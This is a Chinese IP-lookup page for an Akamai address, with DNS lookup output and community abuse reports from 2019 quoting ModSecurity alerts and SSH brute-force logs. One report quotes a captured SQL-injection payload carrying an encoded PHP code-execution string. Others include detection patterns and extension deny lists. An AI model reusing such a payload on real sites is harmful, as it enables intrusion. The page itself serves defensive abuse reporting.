必须是合法有效的IP地址, 可以是IPv4或者是IPv6, 例如127.0.0.1或者2001:DB8:0:0:8:800:200C:417A
基本信息:

城市(city): unknown

省份(region): unknown

国家(country): United States

运营商(isp): unknown

主机名(hostname): unknown

机构(organization): unknown

使用类型(Usage Type): unknown

用户上报:
暂无关于此IP的讨论, 沙发请点上方按钮
相同子网IP讨论:
暂无关于此IP所属子网相关IP的讨论.
WHOIS信息:
b
DIG信息:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 104.105.161.189
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 59779
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;104.105.161.189.		IN	A

;; AUTHORITY SECTION:
.			30	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2025021301 1800 900 604800 86400

;; Query time: 224 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Fri Feb 14 02:31:53 CST 2025
;; MSG SIZE  rcvd: 108
HOST信息:
189.161.105.104.in-addr.arpa domain name pointer a104-105-161-189.deploy.static.akamaitechnologies.com.
NSLOOKUP信息:
Server:		183.60.83.19
Address:	183.60.83.19#53

Non-authoritative answer:
189.161.105.104.in-addr.arpa	name = a104-105-161-189.deploy.static.akamaitechnologies.com.

Authoritative answers can be found from:
相关IP信息:
最新评论:
IP 类型 评论内容 时间
119.29.235.163 attackbots
[Tue Jul 16 08:39:33.289808 2019] [:error] [pid 24230:tid 140560415475456] [client 119.29.235.163:27943] [client 119.29.235.163] ModSecurity: Access denied with code 403 (phase 2). Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/owasp-modsecurity-crs-3.1.1/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "792"] [id "920350"] [msg "Host header is a numeric IP address"] [data "103.27.207.197"] [severity "WARNING"] [ver "OWASP_CRS/3.1.1"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "103.27.207.197"] [uri "/App.php"] [unique_id "XS0q1U1chlI@TrV6TFb6kQAAAMQ"]
...
2019-07-16 11:12:35
138.94.58.11 attack
MYH,DEF GET /wp-login.php
2019-07-16 10:52:22
104.199.206.65 attackbots
Automatic report - Banned IP Access
2019-07-16 11:18:05
103.207.2.204 attack
Jul 16 06:17:20 server sshd\[29764\]: Invalid user slr from 103.207.2.204 port 59758
Jul 16 06:17:20 server sshd\[29764\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.207.2.204
Jul 16 06:17:23 server sshd\[29764\]: Failed password for invalid user slr from 103.207.2.204 port 59758 ssh2
Jul 16 06:23:09 server sshd\[24359\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.207.2.204  user=mysql
Jul 16 06:23:11 server sshd\[24359\]: Failed password for mysql from 103.207.2.204 port 52778 ssh2
2019-07-16 11:26:42
37.6.171.128 attack
Automatic report - Port Scan Attack
2019-07-16 10:57:09
54.38.192.96 attackspam
Jul 16 05:05:49 SilenceServices sshd[29493]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=54.38.192.96
Jul 16 05:05:51 SilenceServices sshd[29493]: Failed password for invalid user web2 from 54.38.192.96 port 39668 ssh2
Jul 16 05:10:27 SilenceServices sshd[32420]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=54.38.192.96
2019-07-16 11:16:34
223.111.160.251 attackspambots
Request content type is not allowed by policy
Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required.
2019-07-16 11:03:30
185.46.171.25 attackbotsspam
URL file extension is restricted by policy
String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension.
2019-07-16 10:54:43
176.58.124.134 attack
GET or HEAD Request with Body Content.
Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required.
2019-07-16 10:58:37
185.42.224.5 attack
URL file extension is restricted by policy
String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension.
2019-07-16 10:55:05
23.228.101.194 attackspambots
PHP Injection Attack: Variables Found
Matched phrase "$_POST" at ARGS:refiles[1].

PHP Injection Attack: High-Risk PHP Function Call Found
Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:refiles[1].

SQL Injection Attack Detected via libinjection
Matched Data: sc found within REQUEST_HEADERS:Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\x22num\x22;s:288:\x22*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A325A6B5A334575634768774A79776E50443977614841675A585A686243676B583142505531526262475678645630704F79412F506963702729293B2F2F7D787878,10-- -\x22;s:2:\x22id\x22;s:3:\x22'/*\x22;}

PHP Injection Attack: PHP Open Tag Found
Pattern ma
2019-07-16 11:06:20
182.162.101.80 attackbotsspam
Jul 16 04:03:10 debian sshd\[5816\]: Invalid user ym from 182.162.101.80 port 59052
Jul 16 04:03:10 debian sshd\[5816\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=182.162.101.80
...
2019-07-16 11:09:32
5.196.110.170 attackspam
Jul 16 01:39:29 sshgateway sshd\[9128\]: Invalid user tamara from 5.196.110.170
Jul 16 01:39:29 sshgateway sshd\[9128\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=5.196.110.170
Jul 16 01:39:31 sshgateway sshd\[9128\]: Failed password for invalid user tamara from 5.196.110.170 port 48286 ssh2
2019-07-16 11:13:57
80.211.238.5 attack
Jul 16 04:07:28 microserver sshd[7803]: Invalid user vargas from 80.211.238.5 port 47642
Jul 16 04:07:28 microserver sshd[7803]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=80.211.238.5
Jul 16 04:07:30 microserver sshd[7803]: Failed password for invalid user vargas from 80.211.238.5 port 47642 ssh2
Jul 16 04:14:32 microserver sshd[8881]: Invalid user deploy from 80.211.238.5 port 44834
Jul 16 04:14:32 microserver sshd[8881]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=80.211.238.5
Jul 16 04:28:45 microserver sshd[11305]: Invalid user git from 80.211.238.5 port 39206
Jul 16 04:28:45 microserver sshd[11305]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=80.211.238.5
Jul 16 04:28:48 microserver sshd[11305]: Failed password for invalid user git from 80.211.238.5 port 39206 ssh2
Jul 16 04:35:39 microserver sshd[12685]: Invalid user qiao from 80.211.238.5 port 36396
Jul 16 04:35:39 micro
2019-07-16 11:26:24
112.196.13.90 attack
Jul 16 02:42:27 MK-Soft-VM3 sshd\[15250\]: Invalid user rizal from 112.196.13.90 port 33050
Jul 16 02:42:27 MK-Soft-VM3 sshd\[15250\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.196.13.90
Jul 16 02:42:29 MK-Soft-VM3 sshd\[15250\]: Failed password for invalid user rizal from 112.196.13.90 port 33050 ssh2
...
2019-07-16 11:35:51

最近上报的IP列表

177.248.242.162 251.78.74.223 234.50.12.188 134.51.178.89
68.76.134.41 45.120.187.185 60.200.123.113 146.142.87.7
125.250.245.60 94.81.127.182 23.185.242.119 199.200.208.43
231.149.72.40 206.91.76.187 219.253.144.209 243.252.129.246
101.196.191.95 122.66.216.175 187.210.30.89 191.153.222.91